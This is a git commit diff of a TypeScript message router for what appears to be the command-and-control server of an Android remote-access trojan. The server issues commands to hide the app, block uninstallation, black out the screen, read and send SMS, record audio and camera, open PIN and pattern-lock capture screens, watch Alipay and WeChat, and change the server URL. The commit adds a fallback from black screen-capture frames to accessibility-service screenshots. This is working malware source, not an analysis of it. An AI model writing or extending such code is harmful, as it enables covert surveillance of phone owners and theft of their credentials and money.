This commit is contained in:
wdvipa
2026-02-13 01:06:00 +08:00
parent 450367dea2
commit 08a5ad468e
6 changed files with 684 additions and 8 deletions

View File

@@ -9,7 +9,7 @@ import path from 'path'
* 控制消息接口
*/
export interface ControlMessage {
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME'
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME'
deviceId: string
data: any
timestamp: number
@@ -143,6 +143,10 @@ export class MessageRouter {
private droppedMicrophoneAudio = 0
private totalMicrophoneAudioSize = 0
// ✅ 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式
private consecutiveBlackFrames = new Map<string, number>()
private captureModeSwitchSent = new Set<string>() // 已发送切换指令的设备,避免重复发送
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService) {
this.deviceManager = deviceManager
this.webClientManager = webClientManager
@@ -536,6 +540,60 @@ export class MessageRouter {
return false
}
// ✅ 过滤黑屏帧Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧
// 正常480×854 JPEG即使最低质量也远大于此值
const MIN_VALID_FRAME_SIZE = 4000
if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) {
this.droppedFrames++
// ✅ 追踪连续黑帧数
const deviceId = screenData.deviceId
const count = (this.consecutiveBlackFrames.get(deviceId) || 0) + 1
this.consecutiveBlackFrames.set(deviceId, count)
if (this.routedFrames % 100 === 0) {
this.logger.warn(`⚠️ 过滤黑屏帧: ${dataSize} 字符 < ${MIN_VALID_FRAME_SIZE}, 设备${deviceId}, 连续黑帧${count}, 已丢弃${this.droppedFrames}`)
}
// ✅ 连续50个黑帧后通知Android端切换到无障碍截图模式
if (count >= 50 && !this.captureModeSwitchSent.has(deviceId)) {
this.captureModeSwitchSent.add(deviceId)
this.logger.warn(`🔄 设备${deviceId}连续${count}个黑帧,发送切换到无障碍截图模式指令`)
try {
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('quality_adjust', {
captureMode: 'accessibility',
fps: 10,
quality: 50,
maxWidth: 480,
maxHeight: 854
})
this.logger.info(`📤 已向设备${deviceId}发送切换采集模式指令`)
}
}
} catch (e) {
this.logger.error(`❌ 发送切换采集模式指令失败:`, e)
}
}
return false
}
// ✅ 收到有效帧,重置黑帧计数
if (screenData.deviceId) {
const prevCount = this.consecutiveBlackFrames.get(screenData.deviceId) || 0
if (prevCount > 0) {
this.logger.info(`✅ 设备${screenData.deviceId}收到有效帧(${dataSize}字符),重置黑帧计数(之前${prevCount})`)
}
this.consecutiveBlackFrames.set(screenData.deviceId, 0)
// 收到有效帧后允许再次发送切换指令(如果后续又出现黑帧)
this.captureModeSwitchSent.delete(screenData.deviceId)
}
// 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销)
const controllerId = this.webClientManager.getDeviceController(screenData.deviceId)
if (!controllerId) {
@@ -1823,6 +1881,9 @@ export class MessageRouter {
case 'REFRESH_MEDIA_PROJECTION_PERMISSION':
return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId)
case 'REFRESH_MEDIA_PROJECTION_MANUAL':
return this.handleRefreshMediaProjectionManual(client.id, eventData.deviceId)
case 'CLOSE_CONFIG_MASK':
return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual)
@@ -4078,6 +4139,75 @@ export class MessageRouter {
}
}
/**
* 🆕 处理手动授权投屏权限请求(不自动点击确认)
*/
private handleRefreshMediaProjectionManual(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`📺 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`)
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '设备已离线或不存在'
})
return false
}
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'REFRESH_MEDIA_PROJECTION_MANUAL',
deviceId,
data: {},
timestamp: Date.now()
})
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: true,
message: '手动授权命令已发送,请在设备上手动确认权限'
})
this.logger.info(`✅ 手动授权投屏权限命令已发送: ${deviceId}`)
return true
}
}
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error('手动授权投屏权限失败:', error)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '手动授权投屏权限失败: ' + (error as Error).message
})
return false
}
}
/**
* 🆕 路由权限申请响应
*/